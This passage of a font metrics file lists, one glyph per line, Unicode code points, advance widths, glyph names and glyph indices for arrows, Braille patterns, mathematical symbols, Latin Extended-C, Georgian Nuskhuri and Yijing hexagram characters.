U 10130 ; WX 838 ; N uni2792 ; G 3874
U 10131 ; WX 838 ; N uni2793 ; G 3875
U 10132 ; WX 838 ; N uni2794 ; G 3876
U 10136 ; WX 838 ; N uni2798 ; G 3877
U 10137 ; WX 838 ; N uni2799 ; G 3878
U 10138 ; WX 838 ; N uni279A ; G 3879
U 10139 ; WX 838 ; N uni279B ; G 3880
U 10140 ; WX 838 ; N uni279C ; G 3881
U 10141 ; WX 838 ; N uni279D ; G 3882
U 10142 ; WX 838 ; N uni279E ; G 3883
U 10143 ; WX 838 ; N uni279F ; G 3884
U 10144 ; WX 838 ; N uni27A0 ; G 3885
U 10145 ; WX 838 ; N uni27A1 ; G 3886
U 10146 ; WX 838 ; N uni27A2 ; G 3887
U 10147 ; WX 838 ; N uni27A3 ; G 3888
U 10148 ; WX 838 ; N uni27A4 ; G 3889
U 10149 ; WX 838 ; N uni27A5 ; G 3890
U 10150 ; WX 838 ; N uni27A6 ; G 3891
U 10151 ; WX 838 ; N uni27A7 ; G 3892
U 10152 ; WX 838 ; N uni27A8 ; G 3893
U 10153 ; WX 838 ; N uni27A9 ; G 3894
U 10154 ; WX 838 ; N uni27AA ; G 3895
U 10155 ; WX 838 ; N uni27AB ; G 3896
U 10156 ; WX 838 ; N uni27AC ; G 3897
U 10157 ; WX 838 ; N uni27AD ; G 3898
U 10158 ; WX 838 ; N uni27AE ; G 3899
U 10159 ; WX 838 ; N uni27AF ; G 3900
U 10161 ; WX 838 ; N uni27B1 ; G 3901
U 10162 ; WX 838 ; N uni27B2 ; G 3902
U 10163 ; WX 838 ; N uni27B3 ; G 3903
U 10164 ; WX 838 ; N uni27B4 ; G 3904
U 10165 ; WX 838 ; N uni27B5 ; G 3905
U 10166 ; WX 838 ; N uni27B6 ; G 3906
U 10167 ; WX 838 ; N uni27B7 ; G 3907
U 10168 ; WX 838 ; N uni27B8 ; G 3908
U 10169 ; WX 838 ; N uni27B9 ; G 3909
U 10170 ; WX 838 ; N uni27BA ; G 3910
U 10171 ; WX 838 ; N uni27BB ; G 3911
U 10172 ; WX 838 ; N uni27BC ; G 3912
U 10173 ; WX 838 ; N uni27BD ; G 3913
U 10174 ; WX 838 ; N uni27BE ; G 3914
U 10181 ; WX 390 ; N uni27C5 ; G 3915
U 10182 ; WX 390 ; N uni27C6 ; G 3916
U 10208 ; WX 494 ; N uni27E0 ; G 3917
U 10214 ; WX 495 ; N uni27E6 ; G 3918
U 10215 ; WX 495 ; N uni27E7 ; G 3919
U 10216 ; WX 390 ; N uni27E8 ; G 3920
U 10217 ; WX 390 ; N uni27E9 ; G 3921
U 10218 ; WX 556 ; N uni27EA ; G 3922
U 10219 ; WX 556 ; N uni27EB ; G 3923
U 10224 ; WX 838 ; N uni27F0 ; G 3924
U 10225 ; WX 838 ; N uni27F1 ; G 3925
U 10226 ; WX 838 ; N uni27F2 ; G 3926
U 10227 ; WX 838 ; N uni27F3 ; G 3927
U 10228 ; WX 1157 ; N uni27F4 ; G 3928
U 10229 ; WX 1434 ; N uni27F5 ; G 3929
U 10230 ; WX 1434 ; N uni27F6 ; G 3930
U 10231 ; WX 1434 ; N uni27F7 ; G 3931
U 10232 ; WX 1434 ; N uni27F8 ; G 3932
U 10233 ; WX 1434 ; N uni27F9 ; G 3933
U 10234 ; WX 1434 ; N uni27FA ; G 3934
U 10235 ; WX 1434 ; N uni27FB ; G 3935
U 10236 ; WX 1434 ; N uni27FC ; G 3936
U 10237 ; WX 1434 ; N uni27FD ; G 3937
U 10238 ; WX 1434 ; N uni27FE ; G 3938
U 10239 ; WX 1434 ; N uni27FF ; G 3939
U 10240 ; WX 732 ; N uni2800 ; G 3940
U 10241 ; WX 732 ; N uni2801 ; G 3941
U 10242 ; WX 732 ; N uni2802 ; G 3942
U 10243 ; WX 732 ; N uni2803 ; G 3943
U 10244 ; WX 732 ; N uni2804 ; G 3944
U 10245 ; WX 732 ; N uni2805 ; G 3945
U 10246 ; WX 732 ; N uni2806 ; G 3946
U 10247 ; WX 732 ; N uni2807 ; G 3947
U 10248 ; WX 732 ; N uni2808 ; G 3948
U 10249 ; WX 732 ; N uni2809 ; G 3949
U 10250 ; WX 732 ; N uni280A ; G 3950
U 10251 ; WX 732 ; N uni280B ; G 3951
U 10252 ; WX 732 ; N uni280C ; G 3952
U 10253 ; WX 732 ; N uni280D ; G 3953
U 10254 ; WX 732 ; N uni280E ; G 3954
U 10255 ; WX 732 ; N uni280F ; G 3955
U 10256 ; WX 732 ; N uni2810 ; G 3956
U 10257 ; WX 732 ; N uni2811 ; G 3957
U 10258 ; WX 732 ; N uni2812 ; G 3958
U 10259 ; WX 732 ; N uni2813 ; G 3959
U 10260 ; WX 732 ; N uni2814 ; G 3960
U 10261 ; WX 732 ; N uni2815 ; G 3961
U 10262 ; WX 732 ; N uni2816 ; G 3962
U 10263 ; WX 732 ; N uni2817 ; G 3963
U 10264 ; WX 732 ; N uni2818 ; G 3964
U 10265 ; WX 732 ; N uni2819 ; G 3965
U 10266 ; WX 732 ; N uni281A ; G 3966
U 10267 ; WX 732 ; N uni281B ; G 3967
U 10268 ; WX 732 ; N uni281C ; G 3968
U 10269 ; WX 732 ; N uni281D ; G 3969
U 10270 ; WX 732 ; N uni281E ; G 3970
U 10271 ; WX 732 ; N uni281F ; G 3971
U 10272 ; WX 732 ; N uni2820 ; G 3972
U 10273 ; WX 732 ; N uni2821 ; G 3973
U 10274 ; WX 732 ; N uni2822 ; G 3974
U 10275 ; WX 732 ; N uni2823 ; G 3975
U 10276 ; WX 732 ; N uni2824 ; G 3976
U 10277 ; WX 732 ; N uni2825 ; G 3977
U 10278 ; WX 732 ; N uni2826 ; G 3978
U 10279 ; WX 732 ; N uni2827 ; G 3979
U 10280 ; WX 732 ; N uni2828 ; G 3980
U 10281 ; WX 732 ; N uni2829 ; G 3981
U 10282 ; WX 732 ; N uni282A ; G 3982
U 10283 ; WX 732 ; N uni282B ; G 3983
U 10284 ; WX 732 ; N uni282C ; G 3984
U 10285 ; WX 732 ; N uni282D ; G 3985
U 10286 ; WX 732 ; N uni282E ; G 3986
U 10287 ; WX 732 ; N uni282F ; G 3987
U 10288 ; WX 732 ; N uni2830 ; G 3988
U 10289 ; WX 732 ; N uni2831 ; G 3989
U 10290 ; WX 732 ; N uni2832 ; G 3990
U 10291 ; WX 732 ; N uni2833 ; G 3991
U 10292 ; WX 732 ; N uni2834 ; G 3992
U 10293 ; WX 732 ; N uni2835 ; G 3993
U 10294 ; WX 732 ; N uni2836 ; G 3994
U 10295 ; WX 732 ; N uni2837 ; G 3995
U 10296 ; WX 732 ; N uni2838 ; G 3996
U 10297 ; WX 732 ; N uni2839 ; G 3997
U 10298 ; WX 732 ; N uni283A ; G 3998
U 10299 ; WX 732 ; N uni283B ; G 3999
U 10300 ; WX 732 ; N uni283C ; G 4000
U 10301 ; WX 732 ; N uni283D ; G 4001
U 10302 ; WX 732 ; N uni283E ; G 4002
U 10303 ; WX 732 ; N uni283F ; G 4003
U 10304 ; WX 732 ; N uni2840 ; G 4004
U 10305 ; WX 732 ; N uni2841 ; G 4005
U 10306 ; WX 732 ; N uni2842 ; G 4006
U 10307 ; WX 732 ; N uni2843 ; G 4007
U 10308 ; WX 732 ; N uni2844 ; G 4008
U 10309 ; WX 732 ; N uni2845 ; G 4009
U 10310 ; WX 732 ; N uni2846 ; G 4010
U 10311 ; WX 732 ; N uni2847 ; G 4011
U 10312 ; WX 732 ; N uni2848 ; G 4012
U 10313 ; WX 732 ; N uni2849 ; G 4013
U 10314 ; WX 732 ; N uni284A ; G 4014
U 10315 ; WX 732 ; N uni284B ; G 4015
U 10316 ; WX 732 ; N uni284C ; G 4016
U 10317 ; WX 732 ; N uni284D ; G 4017
U 10318 ; WX 732 ; N uni284E ; G 4018
U 10319 ; WX 732 ; N uni284F ; G 4019
U 10320 ; WX 732 ; N uni2850 ; G 4020
U 10321 ; WX 732 ; N uni2851 ; G 4021
U 10322 ; WX 732 ; N uni2852 ; G 4022
U 10323 ; WX 732 ; N uni2853 ; G 4023
U 10324 ; WX 732 ; N uni2854 ; G 4024
U 10325 ; WX 732 ; N uni2855 ; G 4025
U 10326 ; WX 732 ; N uni2856 ; G 4026
U 10327 ; WX 732 ; N uni2857 ; G 4027
U 10328 ; WX 732 ; N uni2858 ; G 4028
U 10329 ; WX 732 ; N uni2859 ; G 4029
U 10330 ; WX 732 ; N uni285A ; G 4030
U 10331 ; WX 732 ; N uni285B ; G 4031
U 10332 ; WX 732 ; N uni285C ; G 4032
U 10333 ; WX 732 ; N uni285D ; G 4033
U 10334 ; WX 732 ; N uni285E ; G 4034
U 10335 ; WX 732 ; N uni285F ; G 4035
U 10336 ; WX 732 ; N uni2860 ; G 4036
U 10337 ; WX 732 ; N uni2861 ; G 4037
U 10338 ; WX 732 ; N uni2862 ; G 4038
U 10339 ; WX 732 ; N uni2863 ; G 4039
U 10340 ; WX 732 ; N uni2864 ; G 4040
U 10341 ; WX 732 ; N uni2865 ; G 4041
U 10342 ; WX 732 ; N uni2866 ; G 4042
U 10343 ; WX 732 ; N uni2867 ; G 4043
U 10344 ; WX 732 ; N uni2868 ; G 4044
U 10345 ; WX 732 ; N uni2869 ; G 4045
U 10346 ; WX 732 ; N uni286A ; G 4046
U 10347 ; WX 732 ; N uni286B ; G 4047
U 10348 ; WX 732 ; N uni286C ; G 4048
U 10349 ; WX 732 ; N uni286D ; G 4049
U 10350 ; WX 732 ; N uni286E ; G 4050
U 10351 ; WX 732 ; N uni286F ; G 4051
U 10352 ; WX 732 ; N uni2870 ; G 4052
U 10353 ; WX 732 ; N uni2871 ; G 4053
U 10354 ; WX 732 ; N uni2872 ; G 4054
U 10355 ; WX 732 ; N uni2873 ; G 4055
U 10356 ; WX 732 ; N uni2874 ; G 4056
U 10357 ; WX 732 ; N uni2875 ; G 4057
U 10358 ; WX 732 ; N uni2876 ; G 4058
U 10359 ; WX 732 ; N uni2877 ; G 4059
U 10360 ; WX 732 ; N uni2878 ; G 4060
U 10361 ; WX 732 ; N uni2879 ; G 4061
U 10362 ; WX 732 ; N uni287A ; G 4062
U 10363 ; WX 732 ; N uni287B ; G 4063
U 10364 ; WX 732 ; N uni287C ; G 4064
U 10365 ; WX 732 ; N uni287D ; G 4065
U 10366 ; WX 732 ; N uni287E ; G 4066
U 10367 ; WX 732 ; N uni287F ; G 4067
U 10368 ; WX 732 ; N uni2880 ; G 4068
U 10369 ; WX 732 ; N uni2881 ; G 4069
U 10370 ; WX 732 ; N uni2882 ; G 4070
U 10371 ; WX 732 ; N uni2883 ; G 4071
U 10372 ; WX 732 ; N uni2884 ; G 4072
U 10373 ; WX 732 ; N uni2885 ; G 4073
U 10374 ; WX 732 ; N uni2886 ; G 4074
U 10375 ; WX 732 ; N uni2887 ; G 4075
U 10376 ; WX 732 ; N uni2888 ; G 4076
U 10377 ; WX 732 ; N uni2889 ; G 4077
U 10378 ; WX 732 ; N uni288A ; G 4078
U 10379 ; WX 732 ; N uni288B ; G 4079
U 10380 ; WX 732 ; N uni288C ; G 4080
U 10381 ; WX 732 ; N uni288D ; G 4081
U 10382 ; WX 732 ; N uni288E ; G 4082
U 10383 ; WX 732 ; N uni288F ; G 4083
U 10384 ; WX 732 ; N uni2890 ; G 4084
U 10385 ; WX 732 ; N uni2891 ; G 4085
U 10386 ; WX 732 ; N uni2892 ; G 4086
U 10387 ; WX 732 ; N uni2893 ; G 4087
U 10388 ; WX 732 ; N uni2894 ; G 4088
U 10389 ; WX 732 ; N uni2895 ; G 4089
U 10390 ; WX 732 ; N uni2896 ; G 4090
U 10391 ; WX 732 ; N uni2897 ; G 4091
U 10392 ; WX 732 ; N uni2898 ; G 4092
U 10393 ; WX 732 ; N uni2899 ; G 4093
U 10394 ; WX 732 ; N uni289A ; G 4094
U 10395 ; WX 732 ; N uni289B ; G 4095
U 10396 ; WX 732 ; N uni289C ; G 4096
U 10397 ; WX 732 ; N uni289D ; G 4097
U 10398 ; WX 732 ; N uni289E ; G 4098
U 10399 ; WX 732 ; N uni289F ; G 4099
U 10400 ; WX 732 ; N uni28A0 ; G 4100
U 10401 ; WX 732 ; N uni28A1 ; G 4101
U 10402 ; WX 732 ; N uni28A2 ; G 4102
U 10403 ; WX 732 ; N uni28A3 ; G 4103
U 10404 ; WX 732 ; N uni28A4 ; G 4104
U 10405 ; WX 732 ; N uni28A5 ; G 4105
U 10406 ; WX 732 ; N uni28A6 ; G 4106
U 10407 ; WX 732 ; N uni28A7 ; G 4107
U 10408 ; WX 732 ; N uni28A8 ; G 4108
U 10409 ; WX 732 ; N uni28A9 ; G 4109
U 10410 ; WX 732 ; N uni28AA ; G 4110
U 10411 ; WX 732 ; N uni28AB ; G 4111
U 10412 ; WX 732 ; N uni28AC ; G 4112
U 10413 ; WX 732 ; N uni28AD ; G 4113
U 10414 ; WX 732 ; N uni28AE ; G 4114
U 10415 ; WX 732 ; N uni28AF ; G 4115
U 10416 ; WX 732 ; N uni28B0 ; G 4116
U 10417 ; WX 732 ; N uni28B1 ; G 4117
U 10418 ; WX 732 ; N uni28B2 ; G 4118
U 10419 ; WX 732 ; N uni28B3 ; G 4119
U 10420 ; WX 732 ; N uni28B4 ; G 4120
U 10421 ; WX 732 ; N uni28B5 ; G 4121
U 10422 ; WX 732 ; N uni28B6 ; G 4122
U 10423 ; WX 732 ; N uni28B7 ; G 4123
U 10424 ; WX 732 ; N uni28B8 ; G 4124
U 10425 ; WX 732 ; N uni28B9 ; G 4125
U 10426 ; WX 732 ; N uni28BA ; G 4126
U 10427 ; WX 732 ; N uni28BB ; G 4127
U 10428 ; WX 732 ; N uni28BC ; G 4128
U 10429 ; WX 732 ; N uni28BD ; G 4129
U 10430 ; WX 732 ; N uni28BE ; G 4130
U 10431 ; WX 732 ; N uni28BF ; G 4131
U 10432 ; WX 732 ; N uni28C0 ; G 4132
U 10433 ; WX 732 ; N uni28C1 ; G 4133
U 10434 ; WX 732 ; N uni28C2 ; G 4134
U 10435 ; WX 732 ; N uni28C3 ; G 4135
U 10436 ; WX 732 ; N uni28C4 ; G 4136
U 10437 ; WX 732 ; N uni28C5 ; G 4137
U 10438 ; WX 732 ; N uni28C6 ; G 4138
U 10439 ; WX 732 ; N uni28C7 ; G 4139
U 10440 ; WX 732 ; N uni28C8 ; G 4140
U 10441 ; WX 732 ; N uni28C9 ; G 4141
U 10442 ; WX 732 ; N uni28CA ; G 4142
U 10443 ; WX 732 ; N uni28CB ; G 4143
U 10444 ; WX 732 ; N uni28CC ; G 4144
U 10445 ; WX 732 ; N uni28CD ; G 4145
U 10446 ; WX 732 ; N uni28CE ; G 4146
U 10447 ; WX 732 ; N uni28CF ; G 4147
U 10448 ; WX 732 ; N uni28D0 ; G 4148
U 10449 ; WX 732 ; N uni28D1 ; G 4149
U 10450 ; WX 732 ; N uni28D2 ; G 4150
U 10451 ; WX 732 ; N uni28D3 ; G 4151
U 10452 ; WX 732 ; N uni28D4 ; G 4152
U 10453 ; WX 732 ; N uni28D5 ; G 4153
U 10454 ; WX 732 ; N uni28D6 ; G 4154
U 10455 ; WX 732 ; N uni28D7 ; G 4155
U 10456 ; WX 732 ; N uni28D8 ; G 4156
U 10457 ; WX 732 ; N uni28D9 ; G 4157
U 10458 ; WX 732 ; N uni28DA ; G 4158
U 10459 ; WX 732 ; N uni28DB ; G 4159
U 10460 ; WX 732 ; N uni28DC ; G 4160
U 10461 ; WX 732 ; N uni28DD ; G 4161
U 10462 ; WX 732 ; N uni28DE ; G 4162
U 10463 ; WX 732 ; N uni28DF ; G 4163
U 10464 ; WX 732 ; N uni28E0 ; G 4164
U 10465 ; WX 732 ; N uni28E1 ; G 4165
U 10466 ; WX 732 ; N uni28E2 ; G 4166
U 10467 ; WX 732 ; N uni28E3 ; G 4167
U 10468 ; WX 732 ; N uni28E4 ; G 4168
U 10469 ; WX 732 ; N uni28E5 ; G 4169
U 10470 ; WX 732 ; N uni28E6 ; G 4170
U 10471 ; WX 732 ; N uni28E7 ; G 4171
U 10472 ; WX 732 ; N uni28E8 ; G 4172
U 10473 ; WX 732 ; N uni28E9 ; G 4173
U 10474 ; WX 732 ; N uni28EA ; G 4174
U 10475 ; WX 732 ; N uni28EB ; G 4175
U 10476 ; WX 732 ; N uni28EC ; G 4176
U 10477 ; WX 732 ; N uni28ED ; G 4177
U 10478 ; WX 732 ; N uni28EE ; G 4178
U 10479 ; WX 732 ; N uni28EF ; G 4179
U 10480 ; WX 732 ; N uni28F0 ; G 4180
U 10481 ; WX 732 ; N uni28F1 ; G 4181
U 10482 ; WX 732 ; N uni28F2 ; G 4182
U 10483 ; WX 732 ; N uni28F3 ; G 4183
U 10484 ; WX 732 ; N uni28F4 ; G 4184
U 10485 ; WX 732 ; N uni28F5 ; G 4185
U 10486 ; WX 732 ; N uni28F6 ; G 4186
U 10487 ; WX 732 ; N uni28F7 ; G 4187
U 10488 ; WX 732 ; N uni28F8 ; G 4188
U 10489 ; WX 732 ; N uni28F9 ; G 4189
U 10490 ; WX 732 ; N uni28FA ; G 4190
U 10491 ; WX 732 ; N uni28FB ; G 4191
U 10492 ; WX 732 ; N uni28FC ; G 4192
U 10493 ; WX 732 ; N uni28FD ; G 4193
U 10494 ; WX 732 ; N uni28FE ; G 4194
U 10495 ; WX 732 ; N uni28FF ; G 4195
U 10502 ; WX 838 ; N uni2906 ; G 4196
U 10503 ; WX 838 ; N uni2907 ; G 4197
U 10506 ; WX 838 ; N uni290A ; G 4198
U 10507 ; WX 838 ; N uni290B ; G 4199
U 10560 ; WX 683 ; N uni2940 ; G 4200
U 10561 ; WX 683 ; N uni2941 ; G 4201
U 10627 ; WX 734 ; N uni2983 ; G 4202
U 10628 ; WX 734 ; N uni2984 ; G 4203
U 10702 ; WX 838 ; N uni29CE ; G 4204
U 10703 ; WX 1000 ; N uni29CF ; G 4205
U 10704 ; WX 1000 ; N uni29D0 ; G 4206
U 10705 ; WX 1000 ; N uni29D1 ; G 4207
U 10706 ; WX 1000 ; N uni29D2 ; G 4208
U 10707 ; WX 1000 ; N uni29D3 ; G 4209
U 10708 ; WX 1000 ; N uni29D4 ; G 4210
U 10709 ; WX 1000 ; N uni29D5 ; G 4211
U 10731 ; WX 494 ; N uni29EB ; G 4212
U 10746 ; WX 838 ; N uni29FA ; G 4213
U 10747 ; WX 838 ; N uni29FB ; G 4214
U 10752 ; WX 1000 ; N uni2A00 ; G 4215
U 10753 ; WX 1000 ; N uni2A01 ; G 4216
U 10754 ; WX 1000 ; N uni2A02 ; G 4217
U 10764 ; WX 1325 ; N uni2A0C ; G 4218
U 10765 ; WX 521 ; N uni2A0D ; G 4219
U 10766 ; WX 521 ; N uni2A0E ; G 4220
U 10767 ; WX 521 ; N uni2A0F ; G 4221
U 10768 ; WX 521 ; N uni2A10 ; G 4222
U 10769 ; WX 521 ; N uni2A11 ; G 4223
U 10770 ; WX 521 ; N uni2A12 ; G 4224
U 10771 ; WX 521 ; N uni2A13 ; G 4225
U 10772 ; WX 521 ; N uni2A14 ; G 4226
U 10773 ; WX 521 ; N uni2A15 ; G 4227
U 10774 ; WX 521 ; N uni2A16 ; G 4228
U 10775 ; WX 521 ; N uni2A17 ; G 4229
U 10776 ; WX 521 ; N uni2A18 ; G 4230
U 10777 ; WX 521 ; N uni2A19 ; G 4231
U 10778 ; WX 521 ; N uni2A1A ; G 4232
U 10779 ; WX 521 ; N uni2A1B ; G 4233
U 10780 ; WX 521 ; N uni2A1C ; G 4234
U 10799 ; WX 838 ; N uni2A2F ; G 4235
U 10858 ; WX 838 ; N uni2A6A ; G 4236
U 10859 ; WX 838 ; N uni2A6B ; G 4237
U 10877 ; WX 838 ; N uni2A7D ; G 4238
U 10878 ; WX 838 ; N uni2A7E ; G 4239
U 10879 ; WX 838 ; N uni2A7F ; G 4240
U 10880 ; WX 838 ; N uni2A80 ; G 4241
U 10881 ; WX 838 ; N uni2A81 ; G 4242
U 10882 ; WX 838 ; N uni2A82 ; G 4243
U 10883 ; WX 838 ; N uni2A83 ; G 4244
U 10884 ; WX 838 ; N uni2A84 ; G 4245
U 10885 ; WX 838 ; N uni2A85 ; G 4246
U 10886 ; WX 838 ; N uni2A86 ; G 4247
U 10887 ; WX 838 ; N uni2A87 ; G 4248
U 10888 ; WX 838 ; N uni2A88 ; G 4249
U 10889 ; WX 838 ; N uni2A89 ; G 4250
U 10890 ; WX 838 ; N uni2A8A ; G 4251
U 10891 ; WX 838 ; N uni2A8B ; G 4252
U 10892 ; WX 838 ; N uni2A8C ; G 4253
U 10893 ; WX 838 ; N uni2A8D ; G 4254
U 10894 ; WX 838 ; N uni2A8E ; G 4255
U 10895 ; WX 838 ; N uni2A8F ; G 4256
U 10896 ; WX 838 ; N uni2A90 ; G 4257
U 10897 ; WX 838 ; N uni2A91 ; G 4258
U 10898 ; WX 838 ; N uni2A92 ; G 4259
U 10899 ; WX 838 ; N uni2A93 ; G 4260
U 10900 ; WX 838 ; N uni2A94 ; G 4261
U 10901 ; WX 838 ; N uni2A95 ; G 4262
U 10902 ; WX 838 ; N uni2A96 ; G 4263
U 10903 ; WX 838 ; N uni2A97 ; G 4264
U 10904 ; WX 838 ; N uni2A98 ; G 4265
U 10905 ; WX 838 ; N uni2A99 ; G 4266
U 10906 ; WX 838 ; N uni2A9A ; G 4267
U 10907 ; WX 838 ; N uni2A9B ; G 4268
U 10908 ; WX 838 ; N uni2A9C ; G 4269
U 10909 ; WX 838 ; N uni2A9D ; G 4270
U 10910 ; WX 838 ; N uni2A9E ; G 4271
U 10911 ; WX 838 ; N uni2A9F ; G 4272
U 10912 ; WX 838 ; N uni2AA0 ; G 4273
U 10926 ; WX 838 ; N uni2AAE ; G 4274
U 10927 ; WX 838 ; N uni2AAF ; G 4275
U 10928 ; WX 838 ; N uni2AB0 ; G 4276
U 10929 ; WX 838 ; N uni2AB1 ; G 4277
U 10930 ; WX 838 ; N uni2AB2 ; G 4278
U 10931 ; WX 838 ; N uni2AB3 ; G 4279
U 10932 ; WX 838 ; N uni2AB4 ; G 4280
U 10933 ; WX 838 ; N uni2AB5 ; G 4281
U 10934 ; WX 838 ; N uni2AB6 ; G 4282
U 10935 ; WX 838 ; N uni2AB7 ; G 4283
U 10936 ; WX 838 ; N uni2AB8 ; G 4284
U 10937 ; WX 838 ; N uni2AB9 ; G 4285
U 10938 ; WX 838 ; N uni2ABA ; G 4286
U 11001 ; WX 838 ; N uni2AF9 ; G 4287
U 11002 ; WX 838 ; N uni2AFA ; G 4288
U 11008 ; WX 838 ; N uni2B00 ; G 4289
U 11009 ; WX 838 ; N uni2B01 ; G 4290
U 11010 ; WX 838 ; N uni2B02 ; G 4291
U 11011 ; WX 838 ; N uni2B03 ; G 4292
U 11012 ; WX 838 ; N uni2B04 ; G 4293
U 11013 ; WX 838 ; N uni2B05 ; G 4294
U 11014 ; WX 838 ; N uni2B06 ; G 4295
U 11015 ; WX 838 ; N uni2B07 ; G 4296
U 11016 ; WX 838 ; N uni2B08 ; G 4297
U 11017 ; WX 838 ; N uni2B09 ; G 4298
U 11018 ; WX 838 ; N uni2B0A ; G 4299
U 11019 ; WX 838 ; N uni2B0B ; G 4300
U 11020 ; WX 838 ; N uni2B0C ; G 4301
U 11021 ; WX 838 ; N uni2B0D ; G 4302
U 11022 ; WX 836 ; N uni2B0E ; G 4303
U 11023 ; WX 836 ; N uni2B0F ; G 4304
U 11024 ; WX 836 ; N uni2B10 ; G 4305
U 11025 ; WX 836 ; N uni2B11 ; G 4306
U 11026 ; WX 945 ; N uni2B12 ; G 4307
U 11027 ; WX 945 ; N uni2B13 ; G 4308
U 11028 ; WX 945 ; N uni2B14 ; G 4309
U 11029 ; WX 945 ; N uni2B15 ; G 4310
U 11030 ; WX 769 ; N uni2B16 ; G 4311
U 11031 ; WX 769 ; N uni2B17 ; G 4312
U 11032 ; WX 769 ; N uni2B18 ; G 4313
U 11033 ; WX 769 ; N uni2B19 ; G 4314
U 11034 ; WX 945 ; N uni2B1A ; G 4315
U 11039 ; WX 869 ; N uni2B1F ; G 4316
U 11040 ; WX 869 ; N uni2B20 ; G 4317
U 11041 ; WX 873 ; N uni2B21 ; G 4318
U 11042 ; WX 873 ; N uni2B22 ; G 4319
U 11043 ; WX 873 ; N uni2B23 ; G 4320
U 11044 ; WX 1119 ; N uni2B24 ; G 4321
U 11091 ; WX 869 ; N uni2B53 ; G 4322
U 11092 ; WX 869 ; N uni2B54 ; G 4323
U 11360 ; WX 557 ; N uni2C60 ; G 4324
U 11361 ; WX 278 ; N uni2C61 ; G 4325
U 11362 ; WX 557 ; N uni2C62 ; G 4326
U 11363 ; WX 603 ; N uni2C63 ; G 4327
U 11364 ; WX 695 ; N uni2C64 ; G 4328
U 11365 ; WX 613 ; N uni2C65 ; G 4329
U 11366 ; WX 392 ; N uni2C66 ; G 4330
U 11367 ; WX 752 ; N uni2C67 ; G 4331
U 11368 ; WX 634 ; N uni2C68 ; G 4332
U 11369 ; WX 656 ; N uni2C69 ; G 4333
U 11370 ; WX 579 ; N uni2C6A ; G 4334
U 11371 ; WX 685 ; N uni2C6B ; G 4335
U 11372 ; WX 525 ; N uni2C6C ; G 4336
U 11373 ; WX 781 ; N uni2C6D ; G 4337
U 11374 ; WX 863 ; N uni2C6E ; G 4338
U 11375 ; WX 684 ; N uni2C6F ; G 4339
U 11376 ; WX 781 ; N uni2C70 ; G 4340
U 11377 ; WX 734 ; N uni2C71 ; G 4341
U 11378 ; WX 1128 ; N uni2C72 ; G 4342
U 11379 ; WX 961 ; N uni2C73 ; G 4343
U 11380 ; WX 592 ; N uni2C74 ; G 4344
U 11381 ; WX 654 ; N uni2C75 ; G 4345
U 11382 ; WX 568 ; N uni2C76 ; G 4346
U 11383 ; WX 660 ; N uni2C77 ; G 4347
U 11385 ; WX 414 ; N uni2C79 ; G 4348
U 11386 ; WX 612 ; N uni2C7A ; G 4349
U 11387 ; WX 491 ; N uni2C7B ; G 4350
U 11388 ; WX 175 ; N uni2C7C ; G 4351
U 11389 ; WX 431 ; N uni2C7D ; G 4352
U 11390 ; WX 635 ; N uni2C7E ; G 4353
U 11391 ; WX 685 ; N uni2C7F ; G 4354
U 11520 ; WX 591 ; N uni2D00 ; G 4355
U 11521 ; WX 595 ; N uni2D01 ; G 4356
U 11522 ; WX 564 ; N uni2D02 ; G 4357
U 11523 ; WX 602 ; N uni2D03 ; G 4358
U 11524 ; WX 587 ; N uni2D04 ; G 4359
U 11525 ; WX 911 ; N uni2D05 ; G 4360
U 11526 ; WX 626 ; N uni2D06 ; G 4361
U 11527 ; WX 952 ; N uni2D07 ; G 4362
U 11528 ; WX 595 ; N uni2D08 ; G 4363
U 11529 ; WX 607 ; N uni2D09 ; G 4364
U 11530 ; WX 954 ; N uni2D0A ; G 4365
U 11531 ; WX 620 ; N uni2D0B ; G 4366
U 11532 ; WX 595 ; N uni2D0C ; G 4367
U 11533 ; WX 926 ; N uni2D0D ; G 4368
U 11534 ; WX 595 ; N uni2D0E ; G 4369
U 11535 ; WX 806 ; N uni2D0F ; G 4370
U 11536 ; WX 931 ; N uni2D10 ; G 4371
U 11537 ; WX 584 ; N uni2D11 ; G 4372
U 11538 ; WX 592 ; N uni2D12 ; G 4373
U 11539 ; WX 923 ; N uni2D13 ; G 4374
U 11540 ; WX 953 ; N uni2D14 ; G 4375
U 11541 ; WX 828 ; N uni2D15 ; G 4376
U 11542 ; WX 596 ; N uni2D16 ; G 4377
U 11543 ; WX 595 ; N uni2D17 ; G 4378
U 11544 ; WX 590 ; N uni2D18 ; G 4379
U 11545 ; WX 592 ; N uni2D19 ; G 4380
U 11546 ; WX 592 ; N uni2D1A ; G 4381
U 11547 ; WX 621 ; N uni2D1B ; G 4382
U 11548 ; WX 920 ; N uni2D1C ; G 4383
U 11549 ; WX 589 ; N uni2D1D ; G 4384
U 11550 ; WX 586 ; N uni2D1E ; G 4385
U 11551 ; WX 581 ; N uni2D1F ; G 4386
U 11552 ; WX 914 ; N uni2D20 ; G 4387
U 11553 ; WX 596 ; N uni2D21 ; G 4388
U 11554 ; WX 595 ; N uni2D22 ; G 4389
U 11555 ; WX 592 ; N uni2D23 ; G 4390
U 11556 ; WX 642 ; N uni2D24 ; G 4391
U 11557 ; WX 901 ; N uni2D25 ; G 4392
U 11800 ; WX 531 ; N uni2E18 ; G 4393
U 11807 ; WX 838 ; N uni2E1F ; G 4394
U 11810 ; WX 390 ; N uni2E22 ; G 4395
U 11811 ; WX 390 ; N uni2E23 ; G 4396
U 11812 ; WX 390 ; N uni2E24 ; G 4397
U 11813 ; WX 390 ; N uni2E25 ; G 4398
U 11822 ; WX 531 ; N uni2E2E ; G 4399
U 19904 ; WX 896 ; N uni4DC0 ; G 4400
U 19905 ; WX 896 ; N uni4DC1 ; G 4401
U 19906 ; WX 896 ; N uni4DC2 ; G 4402
U 19907 ; WX 896 ; N uni4DC3 ; G 4403
U 19908 ; WX 896 ; N uni4DC4 ; G 4404
U 19909 ; WX 896 ; N uni4DC5 ; G 4405
U 19910 ; WX 896 ; N uni4DC6 ; G 4406
U 19911 ; WX 896 ; N uni4DC7 ; G 4407
U 19912 ; WX 896 ; N uni4DC8 ; G 4408
U 19913 ; WX 896 ; N uni4DC9 ; G 4409
U 19914 ; WX 896 ; N uni4DCA ; G 4410
U 19915 ; WX 896 ; N uni4DCB ; G 4411
U 19916 ; WX 896 ; N uni4DCC ; G 4412
U 19917 ; WX 896 ; N uni4DCD ; G 4413
U 19918 ; WX 896 ; N uni4DCE ; G 4414
U 19919 ; WX 896 ; N uni4DCF ; G 4415
U 19920 ; WX 896 ; N uni4DD0 ; G 4416
U 19921 ; WX 896 ; N uni4DD1 ; G 4417
